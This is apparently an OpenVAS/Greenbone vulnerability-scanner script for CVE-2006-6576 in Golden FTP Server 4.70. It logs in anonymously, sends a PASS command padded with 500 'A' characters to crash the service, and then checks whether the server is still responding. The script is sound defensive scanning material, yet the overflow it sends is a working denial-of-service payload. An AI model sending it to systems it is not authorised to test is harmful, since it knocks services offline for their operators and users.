Golden FTP PASS Command Buffer Overflow Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802024");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-06-13 15:28:04 +0200 (Mon, 13 Jun 2011)");
  script_cve_id("CVE-2006-6576");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Golden FTP PASS Command Buffer Overflow Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/golden_tfp/detected");

  script_xref(name:"URL", value:"http://secunia.com/advisories/23323");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45924");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45957");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17355");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/16036");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to execute
  arbitrary code on the system or cause the application to crash.");

  script_tag(name:"affected", value:"Golden FTP Server Version 4.70, other versions may also be
  affected.");

  script_tag(name:"insight", value:"The flaw is due to format string error while parsing 'PASS'
  command, which can be exploited to crash the FTP service by sending 'PASS'
  command with an overly long username parameter.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"Golden FTP Server is prone to a buffer overflow vulnerability.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

ftpPort = ftp_get_port(default:21);
banner = ftp_get_banner(port:ftpPort);
if(!banner || "Golden FTP Server" >!< banner){
  exit(0);
}

soc = open_sock_tcp(ftpPort);
if(!soc) {
  exit(0);
}

resp = ftp_recv_line(socket:soc);
if(!resp || "220 Golden FTP Server" >!< resp){
  ftp_close(socket:soc);
  exit(0);
}

user_cmd = string("USER Anonymous", "\r\n");
send(socket:soc, data:user_cmd);
resp = recv_line(socket:soc, length:260);

pass_cmd = string("PASS " , crap(data:'A', length:500) , "\r\n");
send(socket:soc, data:pass_cmd);
resp = recv_line(socket:soc, length:260);

ftp_close(socket:soc);

sleep(1);

soc1 = open_sock_tcp(ftpPort);
if(!soc1) {
  security_message(port:ftpPort);
  exit(0);
}

resp = ftp_recv_line(socket:soc);
if(!resp || "220 Golden FTP Server" >!< resp){
  security_message(port:ftpPort);
}

ftp_close(socket:soc1);